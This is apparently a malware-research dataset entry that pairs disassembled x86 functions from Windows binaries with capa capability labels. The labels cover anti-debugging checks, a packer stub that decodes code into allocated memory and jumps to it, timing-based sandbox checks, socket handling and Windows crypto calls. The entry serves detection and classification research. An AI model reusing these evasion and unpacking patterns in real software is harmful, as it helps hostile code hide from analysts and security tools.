joyce8/EMBER2024-capa huggingface dataset:
Function at 0x845567
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea ebx, reloc.WINMM.dll_midiStreamOut
bsr cx, bx
inc edi
mov cx, 0x5f5d
jmp 0x8453df
pop di
pop ebx
pop edx
push dword [esp + 4]
sub esp, 4
pop dword [esp + 5]
jmp 0x84538e
xchg dword [esp + 5], edx
xchg edi, esi
pop ax
pop word [esp + 1]
cpuid
lea edx, [esp + edi]
jmp 0x84540c
mov byte [esp + 8], dh
lea esp, [esp + 0x12]
mov cx, ax
sub esp, 0x10
xchg edi, edx
jmp 0x8453f6
mov bl, byte [esp + 8]
xchg word [esp + 1], cx
bswap esi
mov cl, byte [esp + 5]
mov byte [esp + 1], bl
xchg cl, al
jmp 0x8453b5
bswap edx
inc bp
bswap edx
bts bp, sp
cpuid
jmp 0x845461
xchg bh, al
push word [esp + 4]
xchg bp, cx
xchg ecx, ebx
add esp, 0
sub esp, 0xb
jmp 0x8453c9
mov edi, dword [esp + 0x15]
mov byte [esp + 0xd], dh
add esp, 8
xchg word [esp + 0xa], dx
adc dh, bl
pop word [esp + 8]
jmp 0x8453a4
sbb ah, cl
lea edx, reloc.WINMM.dll_midiStreamOut
xchg edx, edi
clc
cmc
seto al
jmp 0x84548e
pop word [esp + 0xa]
mov edi, 0x5e964792
not cl
lea edi, [esi + 0x26]
sub esp, 1
setne cl
jmp 0x845448
push dword [esp + 9]
bswap edi
stc
mov di, 0xb46a
ror edi, cl
jmp 0x8454a9
xchg byte [esp + 3], dl
mov byte [esp + 7], ch
lea eax, [esp + eax]
btr esi, ebx
mov edi, dword [esp + 1]
lea edx, reloc.WINMM.dll_midiStreamOut
jmp 0x845478
shl di, 2
stc
lea ecx, [esi + ebp]
lea esp, [esp + 0x10]
lea eax, [esp + ebx]
jmp 0x8454d9
pop bp
xchg dh, bl
sub esp, 0x17
lea edi, [edi - 0x88]
not di
mov word [esp + 0x14], bp
jmp 0x84542c
pop dx
mov byte [esp], ch
mov ebp, 0x4f8bb758
pop dx
bts edi, ebx
mov bh, byte [esp]
jmp 0x84552b
lea ebx, [esp + ebx]
xchg byte [esp], bl
neg dl
xchg word [esp + 1], dx
bt ebx, ebx
xchg byte [esp + 3], bh
jmp 0x8454bf
sets cl
std
xchg bx, ax
rdtsc
cld
rdtsc
call fcn.00845515
cpuid
mov ah, cl
std
jmp 0x8454ff
Function at 0x84560c
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop ebx
lea ebp, [esi + edi]
mov byte [esp + 1], ch
jmp 0x845666
xchg si, bx
lea eax, [ecx + esi]
rdtsc
mov edi, edx
pop esi
mov word [esp + 5], si
jmp 0x84573c
lea eax, [ebp - 0x7a]
mov ecx, edi
xchg bx, dx
cpuid
sub esp, 0x10
mov dword [esp + 6], ebp
jmp 0x845650
mov eax, dword [esp + 0x23]
pop bp
lea esp, [esp + 0x1d]
bsf edx, esi
not eax
jmp 0x845714
mov esi, 0x96373061
mov ecx, dword [esp + 0x26]
cld
cmp di, 0x4815
xchg edi, eax
jmp 0x8456a1
mov edx, 0x13edc62f
sub esp, 0x1d
mov byte [esp + 0x19], ch
push word [esp + 0x19]
mov dx, 0x1f5d
xchg dword [esp + 0x15], ebp
jmp 0x8456b7
mov al, byte [esp + 0xb]
xchg esi, ebp
mov cx, 0x99c7
xchg ch, bh
bts cx, sp
pop dword [esp + 3]
jmp 0x8456ce
mov ebx, 0xfbdbcd9c
xchg byte [esp + 4], ch
inc ecx
neg al
mov cl, ah
mov ch, byte [esp + 2]
jmp 0x845781
rdtsc
xchg di, bp
pop dword [esp + 4]
mov ax, word [esp + 4]
xchg word [esp + 3], si
bsr edx, ecx
jmp 0x8456fe
ror si, cl
bsr bp, bp
xchg word [esp + 1], dx
setb dl
cmc
jmp 0x845799
bsr edi, ebx
pop word [esp + 1]
xchg byte [esp + 1], bh
mov cx, di
jmp 0x845754
pop word [esp + 2]
xchg dh, ch
add esp, 0
mov edi, dword [esp + 3]
xchg word [esp + 1], di
not bx
jmp 0x84576a
mov ebx, eax
btc ax, bx
xchg dword [esp], ecx
xchg dword [esp], edx
mov bh, dh
mov dl, 0xfe
jmp 0x8457f5
mov esi, 0xe5a36bdc
xchg byte [esp + 2], cl
xchg byte [esp + 1], bh
sub esp, 0x13
jmp 0x8457df
stc
mov bl, 0x34
mov dword [esp], edi
xchg byte [esp + 2], dl
mov byte [esp], ch
neg ah
jmp 0x8457ab

Function at 0x845bdc
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg dword [esp], esi
lea esp, [esp + 3]
rol esi, cl
mov byte [esp], cl
jmp 0x845c09
sete ch
mov ax, 0xf360
pop si
inc bx
add esp, 0
jmp 0x845c2a

Function at 0x8461c7
Capabilities:
Check for peb beingdebugged flag
Packed with generic packer

Disassembly:
pushal
mov byte [esp + 2], cl
mov dword [esp + 0x20], edi
lea esp, [esp + 0x20]
mov eax, dword fs:[0x30]
jmp 0x846160
lea esp, [esp]
jmp 0x846181
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x40b720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40b72f
pop dword [ebp - 0x4c]
mov eax, 0xa7798084
sub eax, 0xa738c955
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x37e3a
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x408f28ed
sub ecx, 0x408ee6b5
mov edx, eax
mov ebx, 0x417800
add ebx, dword [ebp - 0x4c]
mov edi, 0x57fea8cb
add edi, 0x25cd2f3a
sub dword [ebp - 0x24], esi
mov esi, dword [ebx]
sub dword [ebp - 4], 0xdf4b37f3
add esi, edi
xor dword [ebp - 0xc], esi
mov dword [edx], esi
add dword [ebp - 0x40], 0x36492e43
add edx, 4
add ebx, 0x7d6c945f
add ebx, 0x82936ba5
loop 0x40b783
add eax, 0xd77c1ff9
add eax, 0x2884dbba
mov ebx, eax
add eax, 0xeecf67a5
add eax, 0x11309860
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10001c62
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10035448]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
xor edi, edi
cmp dword [esi + 0x538], edi
push 4
setne al
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 8
push 0xffff
push ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x10001cac
push ebx
push 0x100355d4
push esi
call fcn.1001e3ce
add esp, 0xc
jmp 0x10001d17
push dword [esi + 0x53c]
mov dword [ebp - 0x10], 1
call fcn.1002ecc6
imul eax, eax, 0x3e8
push dword [esi + 0x540]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
call fcn.1002ecc6
imul eax, eax, 0x3e8
pop ecx
pop ecx
push edi
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push edi
push edi
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push ebx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x10001d17
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push ebx
push 0x100355a4
push esi
call fcn.1001e3ce
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10033b66
leave
ret
Function at 0x100022ff
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x10035448]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x8c], 2
mov eax, dword [esi]
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x10c], eax
je 0x1000247a
push ebx
xor ebx, ebx
push edi
cmp dword [esi + 0x3a0], ebx
jne 0x10002471
cmp dword [esi + 0x410], ebx
jne 0x10002471
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0xc]
mov edi, 0x80
mov dword [ebp - 0x110], edi
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x1000238e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.1002396e
push eax
push edi
push 0x1003577c
jmp 0x1000245b
push edi
lea eax, [ebp - 0x84]
push ebx
push eax
mov dword [ebp - 0x110], edi
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x84]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x100023db
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.1002396e
push eax
push edi
push 0x10035630
jmp 0x1000245b
lea ebx, [esi + 0x102]
lea edi, [esi + 0x130]
lea esi, [ebp - 0x104]
call fcn.100022c6
test eax, eax
jne 0x10002413
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push dword [ebp - 0x108]
call fcn.1002396e
push eax
push esi
push 0x10035750
jmp 0x1000245b
mov eax, dword [ebp - 0x108]
push 0xb
lea edi, [eax + 0x58]
pop ecx
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [eax + 0x164]
lea ebx, [eax + 0x134]
lea esi, [ebp - 0x84]
call fcn.100022c6
test eax, eax
jne 0x1000246b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push dword [ebp - 0x108]
call fcn.1002396e
push eax
push esi
push 0x10035724
push dword [ebp - 0x10c]
call fcn.1001e441
add esp, 0x18
jmp 0x10002478
mov esi, dword [ebp - 0x108]
push esi
call fcn.10002253
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10033b66
leave
ret

Function at 0x10002487
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi]
push 4
xor eax, eax
lea ecx, [ebp + 8]
push ecx
inc eax
push eax
push 6
push dword [ebp + 0xc]
mov dword [ebp + 8], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x100024cb
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.1002396e
push eax
push 0x100357b8
push esi
call fcn.1001e3ce
add esp, 0x14
jmp 0x100024d8
push 0x100357a4
push esi
call fcn.1001e3ce
pop ecx
pop ecx
pop edi
pop esi
pop ebp
ret
Function at 0x100024dc
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor eax, eax
push 2
mov dword [ebp - 8], 0x4020
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 4
pop esi
cmp dword [0x1003fff0], eax
jne 0x10002525
push 3
push esi
push eax
push 6
call fcn.10024112
add esp, 0x10
test eax, eax
je 0x1000251b
mov dword [0x1003fff0], esi
jmp 0x10002569
mov dword [0x1003fff0], 1
cmp dword [0x1003fff0], esi
je 0x10002569
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
mov edi, 0x1001
push edi
mov esi, 0xffff
push esi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x10002557
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jg 0x10002568
push 4
lea eax, [ebp - 8]
push eax
push edi
push esi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
pop edi
pop esi
leave
ret

Function at 0x100025ed
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax + 0x1d8], 0
je 0x1000260b
push eax
call fcn.100339d0
pop ecx
test eax, eax
jne 0x10002627
xor eax, eax
pop ebp
ret
mov eax, dword [eax + 0x190]
cmp eax, 0xffffffff
je 0x10002607
push 2
push 1
lea ecx, [ebp + 0xb]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
jmp 0x10002603
xor eax, eax
inc eax
pop ebp
ret
Function at 0x10004531
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
and dword [eax], 0
and dword [ebp - 4], 0
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 8], eax
test eax, eax
jne 0x100046a3
push esi
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
test esi, esi
je 0x10004688
push ebx
push edi
jmp 0x10004579
mov esi, dword [ebp - 0xc]
cmp dword [esi + 4], 2
jne 0x1000461c
cmp dword [esi + 0x18], 0
je 0x1000461c
mov eax, dword [esi + 0x10]
test eax, eax
je 0x1000461c
push 0x10
pop edi
cmp eax, edi
jb 0x1000461c
push 0x20
call dword [0x10035328]
mov ebx, eax
xor eax, eax
pop ecx
cmp ebx, eax
je 0x1000462c
mov ecx, dword [esi]
mov dword [ebx], ecx
mov ecx, dword [esi + 4]
mov dword [ebx + 4], ecx
mov ecx, dword [esi + 8]
mov dword [ebx + 8], ecx
mov ecx, dword [esi + 0xc]
push edi
mov dword [ebx + 0xc], ecx
mov dword [ebx + 0x10], edi
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x1c], eax
call dword [0x10035328]
pop ecx
mov dword [ebx + 0x18], eax
test eax, eax
je 0x10004635
mov esi, dword [esi + 0x18]
mov edi, eax
mov eax, dword [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [eax + 0x14]
test eax, eax
je 0x10004603
push eax
call dword [0x10035334]
pop ecx
mov dword [ebx + 0x14], eax
test eax, eax
je 0x10004645
cmp dword [ebp - 4], 0
jne 0x1000460c
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10004616
mov dword [eax + 0x1c], ebx
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x14], ebx
mov esi, dword [esi + 0x1c]
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x10004576
jmp 0x1000465e
mov dword [ebp - 8], 8
jmp 0x1000465e
push ebx
mov dword [ebp - 8], 8
call dword [0x1003532c]
jmp 0x1000465d
push dword [ebx + 0x18]
mov dword [ebp - 8], 8
call dword [0x1003532c]
push ebx
call dword [0x1003532c]
pop ecx
pop ecx
xor esi, esi
pop edi
pop ebx
cmp dword [ebp - 0x10], esi
je 0x10004670
push dword [ebp - 0x10]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [ebp - 8], esi
je 0x10004683
push dword [ebp - 4]
call fcn.100044fc
pop ecx
mov dword [ebp - 4], esi
jmp 0x10004697
cmp dword [ebp - 4], esi
jne 0x10004697
mov eax, 0x2af9
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
pop esi
leave
ret
Function at 0x100050b1
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10035448]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push 8
pop esi
push 0xf0000000
push 1
push 0
mov dword [ebp - 0x28], eax
push 0
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x20], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x100050f4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10033b66
leave
ret
push edi
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], esi
lea esi, [ebp - 0xc]
mov word [ebp - 0x18], 0x208
mov dword [ebp - 0x14], 0x6601
call fcn.10005040
mov eax, esi
push 8
push eax
call fcn.10004868
pop ecx
pop ecx
lea eax, [ebp - 0x1c]
push eax
xor esi, esi
push esi
push esi
push 0x14
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x10005152
xor edi, edi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, edi
pop edi
jmp 0x100050e7
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push dword [ebp - 0x20]
mov dword [ebx], ecx
mov eax, dword [eax + 4]
mov dword [ebx + 4], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push esi
push esi
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edi, edi
inc edi
jmp 0x10005143

Function at 0x10005272
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000527e
push ebx
push esi
sub eax, edx
mov esi, eax
push edi
lea edi, [esi + esi]
push edi
call dword [0x10035328]
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x100052a5
push 0x1b
pop eax
jmp 0x10005331
push esi
push dword [ebp + 0xc]
mov ecx, ebx
call fcn.10005252
add esp, 8
push 0xf0000000
push 1
xor esi, esi
push esi
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1000531d
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x8002
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10005313
push esi
push edi
push ebx
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov edi, dword [ebp + 0x10]
xor eax, eax
add edi, 0x10
stosd dword es:[edi], eax
push ebx
stosb byte es:[edi], al
call dword [0x1003532c]
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005f43
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.MSVCR100.dll__beginthreadex]
add esp, 0x18
test eax, eax
je 0x10005f66
cmp eax, 0xffffffff
jne 0x10005f68
xor eax, eax
pop ebp
ret

Function at 0x10006485
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
call esi
sub eax, ebx
cmp eax, 0x32
jb 0x10006497
pop esi
pop ebx
leave
ret

Function at 0x100064c8
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x10035448]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1000652a
cmp byte [ebp - 0x194], 2
jne 0x10006524
mov eax, dword [ebp - 0x194]
shr eax, 8
cmp al, 2
jne 0x10006524
call fcn.10005dac
test eax, eax
jne 0x1000652d
push 0x10035458
call fcn.1001ea90
pop ecx
call fcn.10006485
xor eax, eax
jmp 0x1000652d
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 2
pop eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10033b66
leave
ret

Function at 0x10008363
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi]
cmp dword [eax + 4], 3
push edi
jne 0x10008389
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x1000837a
xor eax, eax
jmp 0x100083df
push dword [eax + 8]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call ecx
jmp 0x100083bc
cmp dword [esi + 8], 0
jne 0x100083ab
push 0x1003608c
push dword [eax + 8]
call dword [sym.imp.MSVCR100.dll_fopen]
pop ecx
pop ecx
mov dword [esi + 8], eax
test eax, eax
jne 0x100083ab
or eax, 0xffffffff
jmp 0x100083df
push dword [esi + 8]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_fread]
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x100083dd
mov eax, dword [esi + 8]
test eax, eax
je 0x100083d7
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
and dword [esi + 8], edi
pop ecx
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop ebp
ret
Function at 0x10008cad
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10035448]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x194]
mov esi, dword [edi]
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push eax
mov dword [ebp - 0x1c], eax
or ebx, 0xffffffff
mov dword [ebp - 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x10008d04
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
mov dword [ebp - 0x18], 0x10
call dword [sym.imp.WS2_32.dll_accept]
mov ebx, eax
push dword [ebp - 0x1c]
push edi
call fcn.1000262c
pop ecx
pop ecx
cmp ebx, 0xffffffff
jne 0x10008d26
push 0x1003633c
push esi
call fcn.1001e441
pop ecx
pop ecx
push 0x1e
pop eax
jmp 0x10008d78
push 0x10036318
push esi
call fcn.1001e3ce
and dword [edi + 0x3c8], 0
push 1
push ebx
mov dword [edi + 0x194], ebx
call fcn.10019e63
xor ecx, ecx
inc ecx
mov dword [edi + 0x1a4], ecx
mov eax, dword [esi + 0x1b0]
add esp, 0x10
test eax, eax
je 0x10008d76
push ecx
push ebx
push dword [esi + 0x1b4]
call eax
add esp, 0xc
test eax, eax
je 0x10008d76
call fcn.10008bf7
push 0x2a
jmp 0x10008d23
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10033b66
leave
ret
Function at 0x1000bdc4
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push edi
push 0x64
cdq
pop ebx
idiv ebx
mov ecx, dword [esi]
xor edi, edi
cmp eax, 2
je 0x1000bded
push 0x10036e88
push ecx
call fcn.1001e441
pop ecx
pop ecx
push 0x11
pop eax
jmp 0x1000be43
cmp dword [ebp + 8], 0xc8
je 0x1000be07
push dword [ebp + 8]
push 0x10036e50
push ecx
call fcn.1001e3ce
add esp, 0xc
mov eax, dword [ebp + 0xc]
cmp eax, 0x13
jne 0x1000be18
push esi
call fcn.1000bd5d
pop ecx
jmp 0x1000be3f
cmp eax, 0x14
jne 0x1000be25
push esi
call fcn.100096e5
jmp 0x1000be15
cmp eax, 0x15
jne 0x1000be33
mov eax, esi
call fcn.1000bdac
jmp 0x1000be3f
cmp eax, 0x16
jne 0x1000be41
mov eax, esi
call fcn.1000bdb8
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop ebp
ret

Function at 0x1000e2ac
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x14]
lea eax, [ecx + eax*2 + 0xc]
push edi
push eax
call dword [0x10035328]
mov edi, eax
pop ecx
test edi, edi
je 0x1000e38a
lea eax, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], eax
mov ecx, dword [esi + 0xc]
add ecx, eax
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], ecx
cmp ebx, dword [esi + 0x10]
jbe 0x1000e30e
push eax
call dword [esi]
push ebx
push dword [ebp + 0xc]
push dword [edi + 4]
call dword [esi + 4]
mov ebx, dword [edi + 8]
add ebx, dword [esi + 0xc]
push dword [edi + 4]
push ebx
call dword [esi + 8]
mov dword [ebp + 0xc], ebx
mov ebx, dword [esi + 0x14]
add esp, 0x18
push dword [edi + 4]
call dword [esi]
push dword [edi + 8]
call dword [esi]
and dword [ebp - 4], 0
pop ecx
pop ecx
test ebx, ebx
je 0x1000e35d
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov ebx, dword [ebp + 0xc]
mov al, byte [ebx]
xor al, 0x36
mov byte [ebp + 0xb], al
push 1
lea eax, [ebp + 0xb]
push eax
push dword [edi + 4]
call dword [esi + 4]
mov al, byte [ebx]
xor al, 0x5c
mov byte [ebp + 0xb], al
push 1
lea eax, [ebp + 0xb]
push eax
push dword [edi + 8]
inc ebx
mov dword [ebp + 0xc], ebx
call dword [esi + 4]
add esp, 0x18
dec dword [ebp - 8]
jne 0x1000e328
pop ebx
jmp 0x1000e380
push 1
push 0x1003714a
push dword [edi + 4]
call dword [esi + 4]
push 1
push 0x1003714b
push dword [edi + 8]
call dword [esi + 4]
add esp, 0x18
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 0x10]
jb 0x1000e360
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x1000e95d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x1000e97b
cmp dword [esi + 0x48], 0
je 0x1000e97b
push 2
push 3
push esi
call fcn.1001f218
add esp, 0xc
push dword [ebp + 0xc]
call fcn.1000e298
pop ecx
test esi, esi
je 0x1000e998
cmp dword [esi + 0x48], 0
je 0x1000e998
push 3
push esi
call fcn.1001f252
pop ecx
pop ecx
pop esi
pop ebp
ret